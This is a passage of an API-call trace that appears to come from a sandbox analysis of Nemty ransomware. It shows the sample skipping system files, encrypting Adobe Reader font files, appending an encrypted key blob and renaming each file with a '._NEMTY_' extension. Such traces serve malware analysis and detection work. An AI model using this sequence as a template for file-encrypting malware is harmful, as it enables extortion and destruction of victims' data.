Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.233] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.233] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.233] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="q//vBjFKDlACntfLd6aeQu1aRoLCUEW4IHVwh8fCMmGc74TUBhx0i/izM3Yxf9Lq\r\nxFqdT09b1+KWyMWqNM6e143DoKBmmobUfAxA9DkrQ+zRl+cE5YvgwH/kC346jFVO\r\nQX0SPvbqfFg/RUBE/26UeBIBEe7e8yLazstF2h6GmNhaJ9TbwgVI7djkxPUYb/1w\r\nkeKdNyYXIq8VZ8at8f51kPIYB8CWnchwEimP/BijYvLrb3mYptdBhECgGoG0W7mI\r\nY8cvT/JMYY2WlkveAMlDl4ogVUotmDOx3rS3up2IPg6sJKBrzptUNHzF6nc4xYqA\r\n21GcVsIrg1DbF2Cl3PZZcA==\r\n", pcchString=0x653e91c) returned 1 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.234] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=35740) returned 1 [0214.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8b90) returned 0x6352c48 [0214.234] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.234] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8b90, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x8b90, lpOverlapped=0x0) returned 1 [0214.238] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.238] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x8b90, lpOverlapped=0x0) returned 1 [0214.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.239] SetFilePointer (in: hFile=0x254, lDistanceToMove=35740, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b9c [0214.239] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.239] CloseHandle (hObject=0x254) returned 1 [0214.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.239] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-bold.otf._nemty_kgobjgd_")) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.240] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x90dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2=".") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="..") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="...") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="windows") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="rsa") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="NTDETECT.COM") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="ntldr") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="MSDOS.SYS") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="IO.SYS") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="boot.ini") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="boot.ini") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="ntuser.dat") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="desktop.ini") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="CONFIG.SYS") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="RECYCLER") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="bootmgr") returned 1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="programdata") returned -1 [0214.240] lstrcmpiW (lpString1="CourierStd-BoldOblique.otf", lpString2="appdata") returned 1 [0214.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-BoldOblique.otf", lpUsedDefaultChar=0x0) returned 26 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-BoldOblique.otf", lpUsedDefaultChar=0x0) returned 26 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-BoldOblique.otf", lpUsedDefaultChar=0x0) returned 26 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-BoldOblique.otf", lpUsedDefaultChar=0x0) returned 26 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94130 [0214.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941e8 [0214.241] Sleep (dwMilliseconds=0x5) [0214.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3356e790, dwHighDateTime=0x1d561e8)) [0214.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3356e790, dwHighDateTime=0x1d561e8)) [0214.248] GetLastError () returned 0x0 [0214.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.248] GetLastError () returned 0x0 [0214.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.249] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.249] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="c6LJ7Ek5JpnC1YxktSVwnHNQ8mhauQm0B1otWOLJxoRZVgxgRBBohU0QS8vFH1YW\r\nUnuIQcTrJq6sIOeV9gzsEE6E5UxtmRZdLw4rNVwPK95aPzg5PgKtRJKxLKRhtkby\r\nbENQcbydqB5vSUw6gm02r8Nd4OOX1VlQHldNZH4YIx4/MwbVyBuF1mMgOwtpRp3h\r\nSqXw1qUbWxA5tF/jSUtvq9fuMjUP/dbr2vp7oBkfusI237KxZaMNoGw5gBaOk3t/\r\nJNYgmeaQE7eoPcqgud1nk7f3akBa79Mi949nGWXTFwjtiOJCOd88A117WzkKpMKe\r\ni0rylzC1fefknE7UUbDbkw==\r\n", pcchString=0x653e91c) returned 1 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.249] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=37084) returned 1 [0214.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90d0) returned 0x6352c48 [0214.249] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.249] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x90d0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x90d0, lpOverlapped=0x0) returned 1 [0214.253] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.253] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x90d0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x90d0, lpOverlapped=0x0) returned 1 [0214.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.253] SetFilePointer (in: hFile=0x254, lDistanceToMove=37084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x90dc [0214.253] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.254] CloseHandle (hObject=0x254) returned 1 [0214.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942a0 [0214.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0214.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0214.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0214.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.254] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-boldoblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-boldoblique.otf._nemty_kgobjgd_")) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e8 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.255] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9238, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2=".") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="..") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="...") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="windows") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="rsa") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="NTDETECT.COM") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="ntldr") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="MSDOS.SYS") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="IO.SYS") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="boot.ini") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="boot.ini") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="ntuser.dat") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="desktop.ini") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="CONFIG.SYS") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="RECYCLER") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="bootmgr") returned 1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="programdata") returned -1 [0214.255] lstrcmpiW (lpString1="CourierStd-Oblique.otf", lpString2="appdata") returned 1 [0214.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Oblique.otf", lpUsedDefaultChar=0x0) returned 22 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Oblique.otf", lpUsedDefaultChar=0x0) returned 22 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.256] HeapFree (in: 